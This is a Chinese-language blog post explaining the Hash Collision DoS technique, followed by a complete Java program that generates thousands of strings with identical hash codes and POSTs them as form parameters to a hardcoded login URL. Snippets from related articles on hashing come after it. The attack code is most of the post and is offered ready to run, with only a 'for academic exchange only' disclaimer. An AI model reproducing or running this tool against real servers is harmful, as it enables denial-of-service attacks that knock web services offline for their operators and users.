最近看Web安全,看到最近这篇文章:Hash Collision DoS 问题
。
原理很简单,利用现有语言服务器的hash code实现缺陷,构造大量hash code相等的字符串,做成post的参数,让服务器忙于创建和查询hash map,从而是服务器拒绝服务。详细描述可以看上面那篇文章。
我试着写了个攻击的例子代码:
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
public class HashCollisionDosAttack {
private final String[] srcs= {"Aa", "BB"};
private List<String> getStrings(int n) {
List<String> strlist = new ArrayList<String>();
int round = (int) Math.pow(2, n);
for (int i = 0; i < round; ++i) {
strlist.add(getString(i, n));
}
return strlist;
}
private String getString(int index, int n) {
String str = "";
int[] bytes = getBytesOf(index, n);
for (int i = 0; i < bytes.length; ++i) {
str += srcs[bytes[i]];
}
return str;
}
private int[] getBytesOf(int index, int n) {
int[] bytes = new int[n];
for (int i = 0; i < n; ++i) {
bytes[n - i - 1] = 1 & (index >> i);
}
return bytes;
}
private void post(URL url, String params) {
Socket socket = null;
BufferedWriter bw = null;
BufferedReader br= null;
try {
socket = new Socket(url.getHost(), url.getPort());
bw = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
bw.write("POST " + url.getPath() + " HTTP/1.1\r\n");
bw.write("Host: " + url.getHost() + "\r\n");
bw.write("Content-Type: application/x-www-form-urlencoded\r\n");
bw.write("Content-Length: " + params.length() + "\r\n");
bw.write("Connection: Keep-Alive\r\n");
bw.write("\r\n");
bw.write(params);
bw.flush();
// br = new BufferedReader(new InputStreamReader(socket.getInputStream(),"UTF-8"));
// String line;
// while ((line = br.readLine()) != null) {
// System.out.println(line);
// }
// System.out.println(params);
} catch (Exception e) {
e.printStackTrace();
} finally {
if (null != socket) {
try {
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != bw) {
try {
bw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
public void attack(String urlStr, int n) throws MalformedURLException {
String params = "";
for (int i = 1; i <= n; ++i) {
params += buildParams(getStrings(i));
}
URL url = new URL(urlStr);
post(url, params);
}
private String buildParams(List<String> strings) {
String params = "";
for (String str : strings) {
params += str + "=x&";
params.hashCode();
}
return params;
}
public static void main(String[] args) throws MalformedURLException {
HashCollisionDosAttack attack = new HashCollisionDosAttack();
attack.attack("http://frigile.com/login/login.htm", 15);
}
}
仅作学术交流,请勿用于非法目的。
分享到:
相关推荐
Java实现的Hash Collision DoS Attack
标题中的“Hash Collision DoS漏洞:web实例”指的是在Web应用程序中出现的一种安全问题,即哈希碰撞拒绝服务攻击(Hash Collision Denial of Service)。这种攻击利用了哈希表(Hash Table)数据结构的特性,当两个...
【警惕Hash Collision Dos】这篇文档主要讨论了一种名为“Hash Collision Dos”的网络安全威胁,这种攻击方式利用了哈希表(HashTable)的冲突特性对Web服务器进行拒绝服务(Denial of Service,DoS)攻击。...
在提供的压缩包文件中,"Md5"可能是源代码文件的名字,它很可能包含了MD5算法的实现。这个源码文件可能会包含类或者函数,用于处理输入数据并计算MD5摘要。用户可以通过调用这些函数,传递需要计算的字符串或文件,...
哈希(Hash)算法在计算机科学中扮演着重要的角色,特别是在数据存储、文件校验、信息安全等领域。本文将深入探讨哈希算法的原理,并提供一个简单的C语言实现示例。 哈希算法,又称为散列函数,是一种将任意长度的...
Java代码实现GeoHash时,可以创建一个GeoHash类,包含 encode 和 decode 方法。encode方法用于生成GeoHash字符串,decode方法则用于还原经纬度坐标。此外,还可以扩展类来支持范围查询,例如计算两个GeoHash之间的...
uthash 是C的比较优秀的开源代码,它实现了常见的hash操作函数,例如查找、插入、删除等待。该套开源代码采用宏的方式实现hash函数的相关功能,支持C语言的任意数据结构最为key值,甚至可以采用多个值作为key,无论...
AHash 是目前 Rust中最快的、 抗 DOS 的哈希。AHash专门用于内存中的哈希映射。 AHash 的输出质量很高 因为AHash是keyed hash,每个map会产生完全不同的hash,不知道key是无法预测的。 这可以防止 DOS 攻击,其中...
莫尔斯电码哈希碰撞检测器这是什么? 这个小工具将相当于字母表中每个字母的二进制莫尔斯电码转换为一个数字。 这个数字可以用作表的索引。你为什么需要这个? 如果您正在尝试莫尔斯电码挑战,此工具会计算将二进制...
本实验涉及的是利用libtomcrypt库实现SHA-1和SHA-512这两种著名的哈希算法,并通过编写代码hashtest.cpp来计算它们的哈希值。下面将详细解释相关知识点。 哈希算法,也称为散列函数或消息摘要,是一种单向函数,它...
链地址Hash表的代码实现 链地址Hash表是一种常用的Hash算法,它的优点在于可以快速查找数据,同时占用的内容空间也非常小。 链地址Hash表的实现可以分为四个步骤: 1. 定义Hash表和基本数据节点 在这里,...
适用于Hashin失效准则,计算材料断裂。
### 经典Hash算法概述与实现 #### 一、引言 哈希算法在计算机科学领域扮演着极其重要的角色,特别是在数据检索、信息安全以及数据完整性校验等方面。它能够将任意长度的数据转换成一个固定长度的哈希值,这一过程在...
在给定的"HASH运算源代码(工程文件)"中,我们可以预期包含的可能内容有: 1. **基础哈希函数实现**:如MD5(Message-Digest Algorithm 5)、SHA-1(Secure Hash Algorithm 1)、SHA-256等,这些常见的哈希函数会...
Hash表是一种数据结构,它通过使用哈希函数将键(key)映射到数组的索引位置,从而实现快速的查找、插入和删除操作。在C语言中,我们可以利用结构体和指针来构建一个简单的Hash表。下面将详细介绍Hash表的概念、哈希...
项目中使用的 GEOhash 算法, 在网上公开的GEOhash demo基础上, 做了升级, 功能: 1. 根据指定坐标生成 GEOhash对象 2. 根据当前坐标(GEOhash对象)获取周边8/9个GEOhash对象 3. [升级]根据当前坐标获取指定半径...
Hash函数代码,便于结合原理与实践。你可以下载后学习,更希望你能分享出更好的代码
本人的数据结构实习作业“基于Hash表的代码相似度度量”,代码简洁明了,可读性强,并附带较多的注释,方便他人查看。一般通过查看注释便能了解程序的结构与功能,方便进行修改。以下是实习作业的具体要求: 对于两...
网上有很多geohash算法的实现,都是基于java或者php代码实现的,没有sql实现的版本,这里使用mysql简单实现了这个算法